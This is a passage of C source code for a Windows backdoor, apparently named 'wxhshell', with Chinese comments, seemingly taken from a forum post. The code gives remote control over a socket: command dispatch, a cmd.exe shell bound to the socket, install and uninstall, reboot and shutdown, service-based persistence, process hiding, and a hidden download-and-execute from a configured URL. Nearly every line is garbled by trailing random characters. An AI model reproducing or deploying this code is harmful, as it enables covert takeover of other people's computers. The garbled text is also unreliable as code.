  else { |l7%l&!  
4P%m>[   
    switch(cmd[0]) { .*!#98pT  
  9afh[3qm  
  // 帮助 Me/\z^pF  
  case '?': { Us-A+)r*!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \QT9HAdd@  
    break; 8;#AO8+U7)  
  } 6IP$n($2  
  // 安装 !5UfWk\G  
  case 'i': { }lP5 GT2  
    if(Install()) /C$ xH@bb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RqLNp?V%  
    else 8QF2^*RZ7z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *QH[,F`I  
    break; 8bOT*^b$H  
    } T4r5s  
  // 卸载 NR4Jn?l{  
  case 'r': { ~+HoSXu@E  
    if(Uninstall()) #)] c0]p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<t,j~ Pr#  
    else qVBL>9O*.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Hs*,}MS  
    break; e g3L:rk_  
    } 2+'|kt2  
  // 显示 wxhshell 所在路径 M&y5AB0  
  case 'p': { 2*u.3,aW  
    char svExeFile[MAX_PATH]; hD q2-X}  
    strcpy(svExeFile,"\n\r"); -e ml  
      strcat(svExeFile,ExeFile); g1 9S  
        send(wsh,svExeFile,strlen(svExeFile),0); #3 bv3m  
    break; TvQ^DZbe  
    } !;dSC<   
  // 重启 F P@qh  
  case 'b': { \84v-VK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^u)rB<#BR  
    if(Boot(REBOOT)) i2PZ'.sL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5/M ED}9C(  
    else { O>V(cmqE`  
    closesocket(wsh); -@M3Dwsi3  
    ExitThread(0); 3.vgukkk5  
    } GaBTj_3  
    break; VT=K"`EpQ  
    } mxJXL":|  
  // 关机 =_PvrB2'  
  case 'd': { qC@Ar)T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =g~j=v ,e  
    if(Boot(SHUTDOWN)) UFENy."P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kdcQw7G  
    else { A#DR9Eq  
    closesocket(wsh); %0XvJF)s  
    ExitThread(0); S LGW:  
    } ?`AGF%zp  
    break; eH <Jng  
    } 5v9Vk` 3'  
  // 获取shell 4:1)~z  
  case 's': { Mo^`\ /x!  
    CmdShell(wsh); jN/ j\x'  
    closesocket(wsh); =;{^" #r\  
    ExitThread(0); Z]vL%Gg*!  
    break; /P+q}L %  
  } qn"K9k  
  // 退出 M{G xjmdx  
  case 'x': { (C S8(C4[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OM:v`<T!z  
    CloseIt(wsh); 3nFt1E   
    break; EJm4xkYLj1  
    } 5~r2sCDPk  
  // 离开 Q2s&L]L=  
  case 'q': { c tI{^f:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uZ(? >  
    closesocket(wsh); u~F~cDu  
    WSACleanup(); Eg8i _s~:  
    exit(1); z%:&#1)  
    break; uLVBM]Qj  
        } '4u v3)P  
  } !wh&>3~  
  } 'fY9a(Xt.  
1 Z[f {T)  
  // 提示信息 C6QbBo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gvx[ 8I  
} ^Mytp>7  
  } FtIa*j^G  
p2d\ZgWD=)  
  return; '*R%^RK  
} 4%_M27bu[  
R^8{bP  
// shell模块句柄 ^}>/n. %  
int CmdShell(SOCKET sock) zY%. Rq-  
{ g1|w?pI1  
STARTUPINFO si; 3M<!?%v\A  
ZeroMemory(&si,sizeof(si)); ~V+l_ :  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3?E}t*/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dGkg aC+  
PROCESS_INFORMATION ProcessInfo; &Lt@} 7$8  
char cmdline[]="cmd"; C2/}d? bki  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h6M;0_'  
  return 0; \Tm}mAvK/o  
} 36$[   
o""~jc~  
// 自身启动模式 KCtX $XGL  
int StartFromService(void) u \g ,.C0  
{ .\)A@ua^  
typedef struct U5+vN[ K  
{ 9UD @MA  
  DWORD ExitStatus; lhPGE_\  
  DWORD PebBaseAddress; (|u31[  
  DWORD AffinityMask; @8gEH+r  
  DWORD BasePriority; ^:cRp9l"7  
  ULONG UniqueProcessId; -cfx2;68  
  ULONG InheritedFromUniqueProcessId; FFzH!=7T?  
}   PROCESS_BASIC_INFORMATION; rC }}r!!  
(vyz;Ob  
PROCNTQSIP NtQueryInformationProcess; ` }8&E(<  
geGeZ5+B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r<yhI>>;<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PRr*]$\&Mj  
fL6e?\Pw  
  HANDLE             hProcess; ?[TW<Yx  
  PROCESS_BASIC_INFORMATION pbi; 8^ #mvHah  
DTY<0Q.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FvXqggfGv  
  if(NULL == hInst ) return 0; `X8@/wf#  
z<n-Gzwk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tXq)nfGe{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !OE*z $\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V4K'R2t  
f)6))  
  if (!NtQueryInformationProcess) return 0; -dRFA2 Y  
M-MKk:o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qv{,wytyO  
  if(!hProcess) return 0; M_1;$fWq  
|NMO__l@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZGz|m0b (  
:.nRN`e  
  CloseHandle(hProcess); EzT`,#b  
Ly #_?\bn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AsxD}Nw[Z*  
if(hProcess==NULL) return 0; o8S"&O ?  
ct n, ]ld  
HMODULE hMod; /QxlGfNZ  
char procName[255]; r88"#C6E'  
unsigned long cbNeeded; .C!vr@@]  
f j<H6|3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VmvQvQ/9R  
bToq$%sCg  
  CloseHandle(hProcess); wCb(>pL0  
f[jN wb  
if(strstr(procName,"services")) return 1; // 以服务启动 658^"]Rk'/  
{eHAg<+  
  return 0; // 注册表启动 @x{`\AM|%  
} j43$]'-  
p 2 !FcFi  
// 主模块 jRQ+2@n{E  
int StartWxhshell(LPSTR lpCmdLine) 1oY^]OD]W  
{ HW[L [&/  
  SOCKET wsl; *e{PxaF!C  
BOOL val=TRUE; LU2waq}VA  
  int port=0; p3]Q^KFS  
  struct sockaddr_in door; ;Icixu'O  
5<R%H{3j  
  if(wscfg.ws_autoins) Install(); 1W,(\'^R  
xeA#u J  
port=atoi(lpCmdLine); bB 6[Xj{  
gv.6h{Ut  
if(port<=0) port=wscfg.ws_port; ;O=h$8]  
,sQ93(Vo  
  WSADATA data; Lp&k3?W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \3zj18(@8!  
7y<1LQ;}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :T@r*7hNT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ejePDgi_[  
  door.sin_family = AF_INET; }31Z X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &m'kI  
  door.sin_port = htons(port); MC!ZX)mF  
UY>v"M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @,OT/egF4:  
closesocket(wsl); $g\&5sstE  
return 1; ]z ==   
} ]r/^9XaqtA  
d7Ro}>lp  
  if(listen(wsl,2) == INVALID_SOCKET) { Xu}U{x>  
closesocket(wsl); \caH pof  
return 1; FN87^.^2S  
} MDO$m g  
  Wxhshell(wsl); PuCc2'#  
  WSACleanup(); wEEn?  
WFv!Pbq,  
return 0; ,.mBJ SE3  
+t!S'|C  
} 0kDBE3i#  
R: Z_g !h  
// 以NT服务方式启动 1~yZ T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iEHh{H(  
{ f~h~5  
DWORD   status = 0; Y`ihi,s`H  
  DWORD   specificError = 0xfffffff; "v]%3i.* -  
WZewPn>#q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f`$Gz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SreYJT%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9;=dxWf   
  serviceStatus.dwWin32ExitCode     = 0; /yPXMJ6W~R  
  serviceStatus.dwServiceSpecificExitCode = 0; 7{M>!} rY  
  serviceStatus.dwCheckPoint       = 0; ` E`HVZ}  
  serviceStatus.dwWaitHint       = 0; D4Nu8Wr$  
e x?v `9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $P {K2"Oc  
  if (hServiceStatusHandle==0) return; {})$ 99"x  
+ ,4" u  
status = GetLastError(); e@]-D FG  
  if (status!=NO_ERROR) ff2d @P,!  
{ %w}gzxN^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wS XVyg{  
    serviceStatus.dwCheckPoint       = 0; nb, 2,H  
    serviceStatus.dwWaitHint       = 0; 3MBN:dbQ  
    serviceStatus.dwWin32ExitCode     = status; |D#2GeBw1h  
    serviceStatus.dwServiceSpecificExitCode = specificError; :nJgwp()@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?vtX"Fdz  
    return; &xd.Qi2  
  } 4 J^Q]-Z  
k4\UK#ODe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4{na+M  
  serviceStatus.dwCheckPoint       = 0; S\x=&Rz  
  serviceStatus.dwWaitHint       = 0; <iLM{@lZvJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S]>wc yy=n  
} Frm;Ej3?$  
.qD@ Y3-  
// 处理NT服务事件,比如:启动、停止 p3x?[ Ww  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c z'5iK  
{ O<*5$,K9  
switch(fdwControl) %V_-%/3Z  
{ /n5n )P@L  
case SERVICE_CONTROL_STOP: ZCui Fm  
  serviceStatus.dwWin32ExitCode = 0; DDd/DAkCX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; })F*:9i*  
  serviceStatus.dwCheckPoint   = 0; 1=VJ&D;  
  serviceStatus.dwWaitHint     = 0; VD7i52xS  
  { kdrod[S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1%~ZRmd e  
  } 9^ed-h Bf  
  return; %&blJ6b  
case SERVICE_CONTROL_PAUSE: Mt>oI SN&d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dJuD|9R  
  break; JAb6zpP  
case SERVICE_CONTROL_CONTINUE: hf<J \   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QfpuZEUK  
  break; #2p#VQh  
case SERVICE_CONTROL_INTERROGATE: lFG9=Wf  
  break; Y%`SHe7M  
}; 1T|$BK@)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4`v!Z#e/aX  
} LDj<?'  
oOU1{[  
// 标准应用程序主函数 Pcd *">v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WrGK\Vw[  
{ jA(vTR.`  
gBw^,)Q{0Y  
// 获取操作系统版本 '?5j[:QY@  
OsIsNt=GetOsVer(); -apXI.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tD=@SX'Y  
DocbxB={I  
  // 从命令行安装 z%d#@w0X1  
  if(strpbrk(lpCmdLine,"iI")) Install(); /YKMKtE  
.K8w8X/3  
  // 下载执行文件 J >0b1  
if(wscfg.ws_downexe) { 9q[;u[A8^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W[''Cc.  
  WinExec(wscfg.ws_filenam,SW_HIDE); !7p}C-RZp  
} v syWm.E  
|F$BvCg  
if(!OsIsNt) { ,_v|#g@{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^q[gxuL_  
HideProc(); `FF8ie8L  
StartWxhshell(lpCmdLine); D)b}f`  
} s'HD{W`  
else db72W x0>  
  if(StartFromService()) a$11PBi[9  
  // 以服务方式启动 Sr Ca3PA  
  StartServiceCtrlDispatcher(DispatchTable); _'0 @%P%  
else X"asfA[6K  
  // 普通方式启动 },-*  
  StartWxhshell(lpCmdLine); (GK pA}~R  
wEft4 o  
return 0; 'o4p#`R:8  
}
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只看该作者 1 发表于: 2006-10-10
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